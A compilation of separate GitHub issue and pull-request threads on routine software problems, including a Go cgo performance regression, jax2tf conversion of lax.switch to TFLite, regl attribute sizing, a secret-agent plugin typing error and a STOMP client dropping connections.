Getting unsafe.Pointer of a slice deadly slow in go 1.6 vs 1.5.3

Please answer these questions before submitting your issue. Thanks!

What version of Go are you using (go version)?
go version go1.6 windows/amd64

What operating system and processor architecture are you using (go env)?
I tried on Windows 7 and all kinds of Linux OS.
I only tried on 64-bit hosts.

What did you do?
Just run this program with go 1.6 and see how slow it is, comparing to running it with 1.5.3

package main

/*
void alloc_ptr(void *c) {
	return;
}

*/
import "C"

import (
	"unsafe"
	"time"
)

type data_ptr_t unsafe.Pointer

func gcc_AllocPtr(v []byte) {
	C.alloc_ptr(unsafe.Pointer(&v[0]))
}

func main() {
	source_buf := make([]byte, 1024)
	start := time.Now()
	for i:=0; i<1e6; i++ {
		gcc_AllocPtr(source_buf)
	}
	println("done in", time.Now().Sub(start).String())
}

What did you expect to see?

done in 228.0131ms

What did you see instead?

done in 6.0343452s

I also want to add that there is an easy workaround:
package main

/*
void alloc_ptr(void *c) {
	return;
}

*/
import "C"

import (
	"unsafe"
	"time"
)

type data_ptr_t unsafe.Pointer

func gcc_AllocPtr(v []byte) {
	ptr := unsafe.Pointer(&v[0])
	C.alloc_ptr(ptr)
}

func main() {
	source_buf := make([]byte, 1024)
	start := time.Now()
	for i:=0; i<1e5; i++ {
		gcc_AllocPtr(source_buf)
	}
	println("done in", time.Now().Sub(start).String())
}

/cc @ianlancetaylor

Dup of #14387 .


1.2.4 no value found for choices

Any idea what’s not working? On iOS 16.4 beta

gpt-4 model seems not working, tested with other API tools.
use gpt-3.5-turbo will do the trick, works as expected.

gpt-4 model seems not working, tested with other API tools. use gpt-3.5-turbo will do the trick, works as expected.

Tested this on version(s) 1.2.3 and 1.2.4, each on gpt-3.5-turbo and gpt-4.
iOS version 16.0

I’m seeing the same error.

at the "List" step which contains `gpt-3.5-turbo` and `gpt-4`, try to remove

gpt-4 model seems not working, tested with other API tools. use gpt-3.5-turbo will do the trick, works as expected.

Tested this on version(s) 1.2.3 and 1.2.4, each on gpt-3.5-turbo and gpt-4. Still says the same error. iOS version 16.0

make sure you have available credit to use for you OpenAi account. You can check that under you Account/Usage page.

gpt-4 model seems not working, tested with other API tools. use gpt-3.5-turbo will do the trick, works as expected.

Tested this on version(s) 1.2.3 and 1.2.4, each on gpt-3.5-turbo and gpt-4. Still says the same error. iOS version 16.0

make sure you have available credit to use for you OpenAi account. You can check that under you Account/Usage page.


chore: Update Karpenter to v0.36.0

Fixes #N/A
Description
Bumps upstream karpenter to the latest release
How was this change tested?
N/A
Does this change impact docs?

[ ] Yes, PR includes docs updates
[ ] Yes, issue opened: #
[x] No

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

0 of 0   changed or added relevant lines in 0 files are covered.
2 unchanged lines in 1 file lost coverage.
Overall coverage decreased (-0.03%) to 82.261%

Files with Coverage Reduction
New Missed Lines
%

pkg/fake/utils.go
2
94.56%

Totals

Change from base Build<PHONE_NUMBER>:
-0.03%

Covered Lines:
5333

Relevant Lines:
6483

💛  - Coveralls


[Feature]: Implement Ed25519 signature

What is the feature you would like to see?
Reference implementation: https://github.com/RustCrypto/signatures/tree/master/ed25519
Contribution Guidelines

[X] I agree to follow this project's Contribution Guidelines

I will work on this.

Hey @programskillforverification! Thank you for your interest in contribution 🚀
Go ahead and update us whenever you need any assistance or take a design decision.

@programskillforverification awesome to have you as a recurring contributor 🚀 - just make sure we prioritize #275 and get that merged ASAP.
Looking forward to seeing your PR on this one!

@ggonzalez94 so we don't use Signature in reference implementation and implement an our own ed25519?

@programskillforverification correct. I'll gonna add elliptic curves primitives first and based on them add ed25519 curve. After it will be possible to have a signature based on that curve


[jax2tf] Converting a model with lax.switch to TFLite/TF.js/ONNX fails

I have the following minimal code (see this Colab notebook) that uses jax.lax.switch and tries to convert the model to TFLite:
def test_jax(n, operand):

  def fn1(a):
    return a+2

  def fn2(a):
    return a*2

  result = jax.lax.switch(
    n,
    [fn1, fn2],
    operand,
  )

  return result

jax.jit(test_jax)(1, 2)  # returns `4`

my_model = tf.Module()
my_model.f = tf.function(jax2tf.convert(test_jax, enable_xla=False), jit_compile=True, autograph=False, input_signature=[
    tf.TensorSpec([], tf.uint32, name="n"),
    tf.TensorSpec([], tf.uint32, name="operand"),
])
tf.saved_model.save(my_model, './test')

converter = tf.lite.TFLiteConverter.from_saved_model('./test')

converter.target_spec.supported_ops = [
  tf.lite.OpsSet.TFLITE_BUILTINS, # enable TensorFlow Lite ops.
  tf.lite.OpsSet.SELECT_TF_OPS # enable TensorFlow ops.
]

tflite_model = converter.convert()

with open('test.tflite', 'wb') as f:
  f.write(tflite_model)

That TFLite conversion code outputs:
ConverterError: <unknown>:0: error: loc(callsite(callsite(fused["StatelessCase:", "jax2tf_test_jax_/switch_case/indexed_case@__inference_converted_fun_tf_58"] at fused["PartitionedCall:", "PartitionedCall@__inference_signature_wrapper_66"]) at fused["PartitionedCall:", "PartitionedCall"])): 'tf.Case' op is neither a custom op nor a flex op
<unknown>:0: note: loc(fused["PartitionedCall:", "PartitionedCall"]): called from
<unknown>:0: note: loc(callsite(callsite(fused["StatelessCase:", "jax2tf_test_jax_/switch_case/indexed_case@__inference_converted_fun_tf_58"] at fused["PartitionedCall:", "PartitionedCall@__inference_signature_wrapper_66"]) at fused["PartitionedCall:", "PartitionedCall"])): Error code: ERROR_NEEDS_CUSTOM_OPS
<unknown>:0: error: failed while converting: 'main':
Some ops in the model are custom ops, See instructions to implement custom ops: https://www.tensorflow.org/lite/guide/ops_custom
Custom ops: StatelessCase
Details:
	tf.Case(tensor<i32>, tensor<ui32>) -> (tensor<*xui32>) : {Tin = [ui32], Tout = [ui32], _read_only_resource_inputs = [], _xla_propagate_compile_time_consts = true, branches = [@jax2tf_test_jax__switch_case_indexed_case_branch0_220, @jax2tf_test_jax__switch_case_indexed_case_branch1_230, @jax2tf_test_jax__switch_case_indexed_case_branch2_240, @jax2tf_test_jax__switch_case_indexed_case_branch3_250], device = "", is_stateless = true}

I've also tried converting it to ONNX and I get a related error - it's documented here.
I also tried converting to TF.js (minimal Colab notebook) and got Unsupported Ops in the model before optimization: _SwitchN.
And I tried using experimental_from_jax (Colab notebook), but for some reason it is crashing my notebook.
The reason why I filed this as a feature request is because it seems like this could be seen as just a problem with op support in the down-stream formats (TFLite, ONNX, etc.) - but I was wondering if (since it seems to be unsupported in basically all the non-JAX/SavedModel formats) it would be possible to convert lax.switch into ops that are supported in the other formats? A switch is a pretty "fundamental" operation so I wouldn't be surprised if this is simply not possible, but I figured I'd file a request just in case, since this is blocking me on a project.
Thanks!

@marcvanzee @ferev FYI
The actual error you are getting is not with jax2tf, so this bug should be filed with TFLite. I cannot tell if this is easy to fix or not on their side.

Yep, as I mentioned, this is a feature request - since neither ONNX, nor TFLite , nor TF.js can handle this operation, but if there's no way to turn this op into some equivalent that's "more supported" in downstream formats, then this issue can be closed. Thanks!

@ferev this issue seems to be on the TFLite side, perhaps you could reroute it to someone from the TFLite team?

@marcvanzee apologies for the ping - please ignore this if nothing can be done at this point. A member of the ONNX team said:

An array of functions is not allowed to be an attribute of an ONNX node, so this failed. I agree with you that probably we need to discuss with jax2tf team to see if there is another way to implement such function.

Wondering if there is any viable workaround here? Could the test_jax function in my original post perhaps be re-arranged in some way such that it gets exported in a way that is compatible with ONNX/TFLite/TF.js?
(Again, please feel free to ignore and/or close this.)

I am pretty surprised that TFLiteConverter does not support tf.Case, and this is pretty much one of the simplest use cases I can think of. I do not remember seeing these problems in our past experiments with TFLiteConverter.
@ferev do you have any insight here?

Hi @josephrocca , does setting converter.allow_custom_ops = True unblock you? (On my end this seems to make it convert).
For some reason this is interpreted as a custom op. Will ask the team investigate why this is the case. I agree this is weird behavior for Case.

Hey @Ferev, that does make the conversion successful, but I haven't played with custom ops before so not sure just yet if this is viable for me, especially since the end-goal is to get it working in the browser, and I don't think the tflite browser runtime can be configured for custom ops (although I believe that is changing, since the tfjs-tflite team is opening up their wasm tflite build process).
For now I think I've managed to work around this by breaking up the model into two models - so I'll do the first stage in the first model, then jump out (into Python or JS) to do the stuff described in the original post, and then take the outputs of that process and put it into the second tflite model, if that makes sense. Yet to properly test this, but seems like it should work, and hopefully is performant enough.
In any case, looking forward to the result of this investigation. Thanks!

FWIW, it is often the case that an e2e JAX program will contain numerical pieces written in JAX glued together with Python control-flow, because often that control flow does not fit naturally the JAX programming model. Whether this is performant enough it depends on how load-bearing the control-flow is.


Using with more recent versions of Python than 3.8

I see that with the recommended way of installing, the conda env file: conda_env.yml references Python 3.8.
That version is going to go EOL in nine months tomorrow (14-Oct-2024): https://devguide.python.org/versions/ and also it might be helpful for performance to go to a newer version (eg 3.11 saw quite a jump).
Although the README mentions Colbert is compatible with 3.8+ from the issues it looks like people have run into problems with later versions of it and/or packages.
Has anyone managed to get it running fine in 3.11 or 3.12?
I can give it a try myself (and report back below) but thought I'd check before dealing with the usual headache of dependencies, if someone happened to have useful experience they could share!  Thanks in advance!

Hey thanks for this! 99% sure 3.9 works and maybe 3.10 also.
Check ragatouille for example: https://github.com/bclavie/ragatouille which is built on colbert

I can confirm it works smoothly on 3.9-3.11! I think 3.12 as well, but haven’t properly tested.

Thank you both, that's greatly appreciated 🙂


Task division - Friday Nov 29th

Next set of tasks we need to complete (ideally tonight) are:

Add an introduction to our app (historical intro and segue into our viz): I can add a placeholder in the app where the text will go, George write up the text? I will launch the app on Heroku when this is done to see how it looks there.
Edit the proposal so that the scope of our research question is more focused, ie., dont mention exploration of other variables in our dashboard since our viz's aren't demonstrating this. Trevor, can you do this?
Add division of tasks in our contract and how we plan to delegate - George?

Let me know if you guys are okay with this sub-task delegation. Also, anything else I'm missing?

I will place the intro text into app.py

I will edit the contact to explicitly address some degree of division of roles and responsibilities, although we all agree that for a project of this size, we do not need to and do not want to draw hard lines

I thought we already outlined "the procedure by which new tasks are introduced and assigned" but I shall do so more explicitly

Great, sounds good. I inserted the placeholder text and submitted a PR - George, go ahead and add the text

Done


Updated slot descriptions, added new slots and classes for phenotype …

…and disease annotations

Changed interaction context 'data_provider' to 'interaction_data_provider'
Added "PhenotypeTerm" subclass of OntologyTerm; removed "Phenotype" class
Updated PhenotypeAnnotation class to align with approach for DiseaseAnnotation class
Updated "with" slot description URL and slot_usage description in DiseaseAnnotation class
Updated "produced_by" slot in AuditedObject to "created_by" to match "creation_date"
Removed 'references' slot from top-level Association class (inheriting classes like DiseaseAnnotation have single-valued 'annotation_reference' slot now)

@sierra-moxon @markquintontulloch
Thanks! I needed to comment out the phenotype relation enums, but now 'make all' runs fine. I'll merge now.

Some questions on the phenotype section that we may need to bring to the working group:
Do we have this for phenotypes?
predicate:
description: The relationship between AGM and phenotype.
range: agm_disease_relation_enum   # TO DO: generate this relation enumeration or don't specify predicate
required: true
We don't currently on the Alliance pages and MGI doesn't.
Also the name of the enum should be changed to phenotype unless you were thinking we would reuse the disease relationship set?
How do the post composed annotations fit in this model?
For allele annotations:
slot_usage:
subject:
description: >-
The gene to which the phenotype ontology term is associated.
range: Allele
In the description gene should be allele.

Thanks @sbello !
I've cleaned those up here:
https://github.com/alliance-genome/agr_curation_schema/pull/47


Clear dirty page bits before final unmap

Attempt to avoid Linux syncing dirty pages at process exit by clearing the dirty bit on the pages.

Shouldn't this be conditional on a (possibly default) table/share setting? Originally there was a flag for this purpose.

I think you want msync not madvise (and it probably doesn't do what you want..)


Enhancement: add interface use CSV file in CLI.

Description

CLI accepts CSV file as an argument with. The list of URLs provided through the file will be then used for further analysis.
Relevant Technical Choices

Testing Instructions

Follow instructions in the README.MD to build CLI.
Use the new -c or --csv-path argument to pass a local csv file.
npm run cli -- -c /path/to/urlset.csv

Additional Information:

Screenshot/Screencast

Fixes #220

@actual-saurabh This PR adds to CLI's argument list. Could you please look into the changes to the documentation because of that?


Recognize .cljs.hl hoplon files as clojurescript and enable parinfer editing mode.

Would be nice if nightcode could be aware of hoplon .hl file extension
and have parinfer editing mode enabled for hoplon files.
Right now nightcode treats .hl files as just text files.

Fixed in c0ecd893318e0b24a7b5312279954bbec2ac44b4, thanks!

Just released 2.1.5 which includes this change :)

Thanks !


unable to run await shell.execute()

Bug Description

Unable to run await shell.execute() while using Window OS.
Steps to Reproduce Bug

start up NODE-RED, Put in and link nodes as following order:
inject -> quantum circuit -> quantum register -> debug

numbers of quantum circuit and register doesnt matter, but i have the following settings:
quantum circuit: register and bits = 1;
quantum register: number of qubits = 1;
deploy and press the button next to inject (timestamp)
Error Occur.
Expected Behaviour & Actual Behaviour

Expected Behaviour: work without error. and should have debug output.
Actual Behaviour: Pop error in Console and no any debug output.

Additional Information

Temporily Fixed by comment out all the await shell.execute().
System Information

Node.js Version: 14.17.1
Operating System: Microsoft Windows NT 10.0.19042.0 x64

This is because the path for the Python executable in the virtual environment is set to the Unix path (venv/bin/python) by default, not the Windows path (venv/Scripts/python.exe). I haven't gotten around to implementing a check for the OS when setting the path just yet, so I'll do that this weekend. In the mean time, try change the line of code here to const pythonPath = path.resolve(appRoot, 'venv/Scripts/python.exe');. Just don't commit this change, please.

After replacing the recommend LOC I have to following errors while execute the button in timestamp.

After replacing the recommend LOC I have to following errors while execute the button in timestamp.
<image>

Are you executing the IMPORTS snippet in your code?


Vertex data and attribute declaration dependency

It seems that in regl the vertex attribute has to match the input data dimensions e.g.
attribute vec2 position;

regl({
  attributes: {
    position: [[0, 0], [1, 0], [1, 0]]
  }
})

So now when i declare position as having 4 components nothing renders on the screen.
attribute vec4 position;

According to this SO Answer and OpenGL ES 2.0 Spec the attrbute would be expanded to 4 components with missing data filled as follows [0, 0, 0, 1] and this is how i've written my shaders so far with no problems.
How is the attribute size guessed in regl?

It guesses the attribute size using the shader.  You can overload this by setting the size property in the attribute description.  For example:
attributes: {
  position: {
     size: 4,
     data: [[0, 0], [1, 0], [1, 0]]
  }
}

As or regl 1.2.1 and vertex shader with the following attribute declaration
attribute vec4 position;

The example from above
attributes: {
  position: regl.buffer({
     size: 4,
     data: [[0, 0], [1, 0], [1, 0]]
  })
}

Will throw Error: (regl) missing buffer for attribute "position" in command unknown
Switching to
attributes: {
  position: {
     size: 4,
     data: [[0, 0], [1, 0], [1, 0]]
  }
}

will throw WebGL: INVALID_OPERATION: drawArrays: attempt to access out of bounds arrays
Changing   position: { size: 4 ... to position: { size: 2... will still throw WebGL: INVALID_OPERATION: drawArrays: attempt to access out of bounds arrays
I believe this is invalid behavior as now my geometry data is dependent on shader code.
To sum up:
shader attr size == command attr size -> OK
shader attr size > command attr size -> access out of bounds arrays
shader attr size < command attr size -> black screen

Sorry about that it should be:
attributes: {
  position: {
     size: 2,
     data: [[0, 0], [1, 0], [1, 0]]
  }
}

@mikolalysenko no this doesn't work, i need to create regl.buffer() and match the attribute size in JS and vertex shader

Working code: https://gist.github.com/vorg/8ef68bc8fa769c21d3d97ea753147029

FWIW I've run into it also, assuming that the size is figured out from the shader reflection as the doc suggests (results of the gl.getActiveAttrib call), but indeed, an explicit size specification was needed (2 for mat2, 3 for mat3, 4 for mat4). I was going to make a small PR updating the doc but maybe the spirit of regl is to figure out the size and then found this issue.
attribute mat2 position;
...
      attributes: {

        position: {
          size: 2, // needed
          buffer: regl.buffer([
            0, 0,
            1, 1
          ])
        },
/* // this didn't work:
        position: [
            0, 0,
            1, 1
          ]
*/
      }


cannot get access to ExecuteJsPlugin and executeJs in version 1.5.5

In my package.json for my project, I specify the latest version of secret-agent:
"dependencies": {
  ...
  "secret-agent": "^1.5.5"
},

But I am getting errors in my typescript snippet to call executeJs() taken from this repo's latest tests and some recent issues:
/* eslint-disable no-console */
import { Agent } from 'secret-agent';
import ExecuteJsPlugin from '@secret-agent/execute-js-plugin';

(async() => {
  const requestUrl: string = 'https://example.com';

  const userAgent =
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_16_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.165 Safari/537.36';
  const agent = new Agent({
    userAgent,
  });

  agent.use(ExecuteJsPlugin);
  await agent.goto(requestUrl);
  await agent.waitForPaintingStable();

  const response = await agent.executeJs((num) => {
    return num;
  }, 1);
  console.log('response', response);
  await agent.close();

})();

The first error is the attempt to import ExecuteJsPlugin.  That is flagged in vscode.
The second error flagged in vscode is the attempt to call agent.executeJs.
So I looked in my compiled node_modules, in the file that implements the Agent class,
which is node_modules/@secret-agent/client/lib, and sure enough did not find the
executeJs member function there.
What am I doing wrong?

Hi, exists a way to use the Agent Output from the executeJs function? to debug a script ? thanks

Sorry, don't understand.  What I am saying is that I was wanting to do as in issue 281, and followed the example code in plugins/execute-js/test/basic.test.ts
... but it did not work for me because apparently executeJs is not a function in the Agent class.

@andynuss Thanks for reporting this! If you @ts-ignore that line, does the code work? I think we might have an issue getting the typescript declaration file loading.

Actually, yes it does work.  My guess is that this is possible only because the call to ExecuteJsPlugin injects the executeJs function into the Agent class's prototype?
But I did have to @ts-ignore both the import ExecuteJsPlugin statement, and the executeJs() call.

I was also wondering in keeping with the overall goal of secret-agent, you guys were able to figure out how to accomplish the executeJs() without leaving a detectable "trace" of some kind, such as a global variable in the webpage's dom?

My guess is that this is possible only because the call to ExecuteJsPlugin injects the executeJs function into the Agent class's prototype?

Yep! I'm 99% sure there's a way to get the global overrides to register when you include a module. Just need to dig in and figure it out. You don't happen to know how? :)

No, I don't, sorry

BTW, it makes sense that it would be difficult to allow calls to executeJs without the @ts-ignore since it is not there in the compiled Agent class.  And I'm fine if nothing can be done about this.  However, why do I have to @ts-ignore the import statement for the function implemented in '@secret-agent/execute-js-plugin'?

@andynuss

I was also wondering in keeping with the overall goal of secret-agent, you guys were able to figure out how to accomplish the executeJs() without leaving a detectable "trace" of some kind, such as a global variable in the webpage's dom?

Really depends what you "do" in javascript. We were hesitant to put executeJs into SecretAgent "core" because it opens the door to people running things that can get them detected (dom modification, modify cookies, etc, etc). That's why it lives in a plugin.

Regarding the import issue, what's the typescript error?

It was my mistake, sorry, I needed to add '@secret-agent/execute-js-plugin' to my dependencies.  Mousing over the error told me that.


ref #764: Extract theme handling to have a better control about that

Q
A

Branch
7.0.x

Bug fix?
no

New feature?
no

BC breaks?
no - hopefully not: everything old should still behave the same (doesn't use new override)

Deprecations?
no

Tests pass?
yes

Fixed issues
chameleon-system/chameleon-system#764

License
MIT

This should be a hotfix.


tests should run on 'rc' branches as well

So we can run tests when a patch release is made by cherry picking commits from main.
I tried creating a branch off rc-0.24.1, and created a PR.

This was done in https://github.com/headlamp-k8s/headlamp/pull/2098


Remove Initialization notebook from DrizzlePac repository

The Initialization notebook was written before CI was set up and is no longer appropriate.
Since users can still access the notebook from github, we request that the folder be deleted or moved to a subdirectory for old/outdated content.

Thanks, @mackjenn, for the request. As part of our deprecation policy, I will move the notebook to the deprecated branch.

This sounds like a good solution.  Thank you for your assistance!

@mackjenn, the Initialization notebook is removed from the main.


Botman tinker windows support?

BotMan Version: 1.0
PHP Version: 7
Messaging Service(s):
Cache Driver:

Description:
'stty' is not recognized as an internal or external command
Steps To Reproduce:
use botman tinker in windows environment

Closing this in favour of https://github.com/botman/tinker/issues/3


Joystick events

The recommended method of getting joystick events on Windows, for devices that do not fall under the XInput API, is to use the raw input API (WM_INPUT). I saw that winit already does this for mouse & keyboard events, but not yet for joysticks.
Since I've got a need for this in my own project, I hope to soon give a shot at implementing this on Windows, but if anyone else who is more familiar with this API can implement it faster than I could, that would be appreciated.

Funnily enough, I implemented both this and version-agnostic XInput support a while ago... https://github.com/francesca64/winit/tree/win-joy
I just never merged it, since I was concerned about breaking the API later on, and it's missing some special-casing for rumble/etc. I expected to iron out the design more by implementing joystick support on Linux and macOS, but never got around to it.
So, I guess I should rebase it and make a PR.

@francesca64 I'd be up for taking over that PR, rebasing it against the event loop 2.0 code, and getting it ready to release on Windows, if you're okay with it.

@Osspial absolutely! Thanks a bunch.


Upgrade to dropwizard 4.0.x

This repo is currently using Dropwizard 2.0.x which is already 2 years old and is end of life.
In addition to missing out on features, the older version contains a few security vulnerabilities also.
We should migrate to the Dropwizard 4.0.x

Migration path to 3.x would be easier

How much easier? Do you mean we should follow a 2 step process to move to 4.x ( 2.x -> 3.x -> 4.x )?

4.x is a different rewrite with removal of javax dependencies. This would have ramifications across. Would work on J17 and 3.x upgrade for now. 3.x would not break many things in terms of code.


Add kubectl gs FAQ and Troubleshooting page

This PR adds two new pages:

A page under https://docs.giantswarm.io/ui-api/gsctl/ about migrating from gsctl to kubectl-gs
A page under https://docs.giantswarm.io/ui-api/kubectl-gs/ for FAQ and troubleshooting around kubectl gs

I think I processed all input. Thanks!


series[i]-graph.focusNodeAdjacency this attribute is not exist number of nodes limit? like this url:https://github.com/apache/incubator-echarts/issues/9143 question?

General Questions

Issue Type

[ ] I have a question to ask about how to use ECharts to ...；我想提问如何使用 ECharts 实现某功能
[x] I have a bug to report；我想要报 bug
[ ] I have a feature to request, e.g.: I'd like a new feature that ...；我需要一个新功能
[ ] I have a feature to enhance, e.g.: The current feature should be improved in the way that ...；我希望改进某个功能
[ ] There's something wrong with the documents；文档有些问题
[ ] Others, or I'm not sure which issue types to choose here；其他，或我不知道应该选什么类型

Issue Details

Expected Behavior

Current Behavior

Online Example

Topics

Anything Else We Need to Know

Environment

ECharts version；ECharts 版本: {DESCRIBE_HERE}

[ ] It happens only on certain browsers or operating systems. 对于特定浏览器或操作系统才会出现的问题，请提供相应环境信息：{BROWSER_VERSION_OR_OS_INFORMATION_HERE}

#9143


Geocode new cases

If a new case doesn't have lat/lng it will trigger geocoding based on the request's location.query string.
I replaced country in the new form with this query field. It will be an autocomplete field once we have it working (ETA 4-5 years based on early assessment).
In order to be able to run the dev stack connected to map box and the integration tests as well I made the cases controller accept an array of geocoders that are called in sequence. This way we can fake locations in integration tests and play with real geocodes on our local stack.
We also should probably retire the edit/new functionality of the linelist table soon, fixing the tests is not super fun now that the new form and the table have drifted a bit.

 Implement geocoding of new cases using mapbox API


Release ANE internally

We need to make an internal release so our crafters can test the whole thing.
@ijstokes mentioned that he want to talk about this internal release so we can explain certain things, add info, some docs, etc. before ann to the people.

Pre-requisite: https://github.com/Anaconda-Server/anaconda-nb-extensions/issues/156

Extensions live in https://repo.continuum.io/pkgs/ and our own channel in anaconda.org... so, they are out there... this was somehow superseded by the facts... so removing the estimate and closing.


Remove binding reference for component function props

✅ No public API change.

✅ No public API change.

✅ No public API change.

✅ No public API change.

✅ No public API change.

✅ No public API change.

✅ No public API change.


Check for presence of outgoings before calculating evidence triggers

Description of change
Fixes bug where the evidence upload page breaks when there are no outgoings because the presence of outgoings is not being checked properly
Link to relevant ticket
Notes for reviewer
Screenshots of changes (if applicable)
Before changes:
After changes:
How to manually test the feature
Start an application and go through the income assessment section answering no to every question. You should be taken to the evidence upload page rather than the outgoings flow. Confirm the evidence upload page loads rather than breaking

Was fixed in: https://github.com/ministryofjustice/laa-apply-for-criminal-legal-aid/commit/1e3463787829010718e710ad898582d77f03c3ef


Add feature of specifying .balo paths in dependencies as a web link

Description:
When adding module dependencies in Ballerina.toml file, add support so as to support web links to .balo files. Example: link to a github repo (full path to the folder) that contains .balo files.
Steps to reproduce:
NA
Affected Versions:
NA
OS, DB, other environment details and versions:
NA
Related Issues (optional):
NA
Suggested Labels (optional):
Type/feature
Suggested Assignees (optional):

Closing since providing a path to bala in swan-lake is not supported


Complete Test Cases for DX systems

To Do Task: Add error test cases for DX system operation.

Added three more test cases for now.

I will still leave this open, since we may want to add more tests in the future.


install spaczz

I try pip install spaczz but ....
clang -Wsign-compare -Wunreachable-code -fno-common -dynamic -DNDEBUG -g -fwrapv -O3 -Wall -arch arm64 -arch x86_64 -g -Iextern/rapidfuzz-cpp/ -Icapi/ -I/Library/Frameworks/Python.framework/Versions/3.11/include/python3.11 -c src/cpp_process.cpp -o build/temp.macosx-10.9-universal2-cpython-311/src/cpp_process.o -O3 -std=c++14 -Wextra -Wall -Wconversion -g0 -DNDEBUG -stdlib=libc++ -mmacosx-version-min=10.9 -DVERSION_INFO="1.9.1"
src/cpp_process.cpp:253:12: fatal error: 'longintrepr.h' file not found
#include "longintrepr.h"
^~~~~~~~~~~~~~~
1 error generated.
error: command '/usr/bin/clang' failed with exit code 1
[end of output]
note: This error originates from a subprocess, and is likely not a problem with pip.
ERROR: Failed building wheel for rapidfuzz
Failed to build rapidfuzz
ERROR: Could not build wheels for rapidfuzz, which is required to install pyproject.toml-based projects

This looks like an issue with installing RapidFuzz, which is a dependency of spaczz. Can you try just installing RapidFuzz and see if you can get that to succeed?


[Bug]: New Query button disabled and Generate new page not available on the View data page

Is there an existing issue for this?

[X] I have searched the existing issues

Description
On creating any [say postgres or mongo] datasource, the new query button and generate new page buttons are disabled.
Steps To Reproduce

Create an application in the EE DP
Create a DS [any datasource]
Save the ds with valid configurations and after testing.
Note that from active DS page or any other CTA we are unable to create new query or generate new page.

Public Sample App
No response
Environment
Deploy Preview
Issue video log
No response
Version
Cloud


App crashes in repeating group when reference is selected in "Legg til ny referanse"

Description of the bug
In repeating group, when a reference is selected, the app crashes.
See video example below. Where I add inputs "Endre fra" and "Endre verdi til". Then I go to the add reference and try to select this as reference. App crashes with an error 400.

Steps To Reproduce

Run the App-LocalTest repository
Go to the page "Repeating"
Try to add a new reference, and the app will crash with error 400.

Additional Information
No response

Very related to, if not duplicate of:

#985

With regards to the crashing, that is fixed in a newer version of frontend-test, so pull from master. 😊

Closes this issue. It is fixed in a newer version of frontend-test. See comment above from Ole Martin.


Move to binary codecov uploader

Codecov Report

Merging #2 (f5964dc) into main (b5421c1) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff             @@
##              main        #2    +/-   ##
==========================================
  Coverage   100.00%   100.00%
==========================================
  Files            5         5
  Lines          330       452   +122
==========================================
+ Hits           330       452   +122

Impacted Files
Coverage Δ

Sources/SourceMapper/VLQ.swift
100.00% <0.00%> (ø)

Sources/SourceMapper/JSON.swift
100.00% <0.00%> (ø)

Sources/SourceMapper/Errors.swift
100.00% <0.00%> (ø)

Sources/SourceMapper/Mappings.swift
100.00% <0.00%> (ø)

Sources/SourceMapper/SourceMap.swift
100.00% <0.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b5421c1...f5964dc. Read the comment docs.


Simplify release workflows

No need to build for PyPy since it only contains a binary so the platform tag is the same as CPython
Update maturin-action location

Amazing, thank you!


Remove NOTICE file

The NOTICE file contains a copyright notice which is also covered by the LICENSE file.
The paragraph about code from JSR-166 is obsolete since these classes have been replaced with their Java 8 native counterparts.

CC @codahale, just in case you want to object this change.

👍


fix:dynamic port set on localhost

First thing, PLEASE READ THIS: ReactPlay Code Review Checklist

Description
When running the project locally and hitting the create play button if you are running the a port other than 3000 the redirection was not working properly, this PR fixes that issue by dynamically set the port to redirect to.
Fixes #1243
Type of change
Please delete options that are not relevant.

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[x ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

How Has This Been Tested?
Tested locally
Checklist:

[ x] I have performed a self-review of my own code
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[ ] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] New and existing unit tests pass locally with my changes
[ ] Any dependent changes have been merged and published in downstream modules

Screenshots or example output

Can you please test this branch locally, @priyankarpal?

@Hat52 could you attack a video? not running in my local system

@Hat52 could you attach a video? not running in my local system

sure will do that

any updates? @Hat52


Multiple clients on same machine

When I have two clients (gworkerd) on the same machine, one the of clients refuses to take messages after a while. Logs do not help me address why. Things that I am observing.

The specific client does not have receive a lot of messages. Sometimes less than 1/day.
There is one stomp server (RabbitMQ) to which all client connect (different number of consumers)
RabbitMQ management tool tells the specific queue still has consumers (4). The specific client has 4 open connections while there should be 5. So one of the connections was dropped without reconnecting. Nothing in the logs on this.
The last debug message is from the last received mq message, no logs on disconnection or reconnect tries
The other client on the same machine has no problems, but also receives more messages (10/day).
After closing all connections, one the consumers reconnects and continues receiving messages

Last log
[2016-05-27 11:49:08:194429] DEBUG [stomp::header] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/header.rs:75: Recycling Header: message-id:T_stomp-rs/0@@session-cUPwn1scQoX8CJ7ABo-25Q@@1
[2016-05-27 11:49:08:194434] DEBUG [stomp::header] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/header.rs:75: Recycling Header: destination:/queue/gworkerd_web2_platform
[2016-05-27 11:49:08:194438] DEBUG [stomp::header] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/header.rs:75: Recycling Header: subscription:stomp-rs/0
[2016-05-27 11:49:08:194443] DEBUG [stomp::session] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/session.rs:143: Reading from frame buffer
[2016-05-27 11:49:08:194448] DEBUG [stomp::frame_buffer] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/frame_buffer.rs:103: Parsing command.
[2016-05-27 11:49:08:194453] DEBUG [stomp::session] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/session.rs:159: Done. Read 1 frames.
[2016-05-27 11:49:08:234951] INFO [gworkerd] src/main.rs:118: ["41106dd6-23f0-11e6-8ff4-00155d028200"] added to result backend

Then I closed the remaining connections.
[2016-06-01 10:36:30:954354] DEBUG [stomp::session] /home/.cargo/registry/src/github.com-0a35038f75765ae4/stomp-0.11.0/src/session.rs:124: Readable! Buffer size: 65536
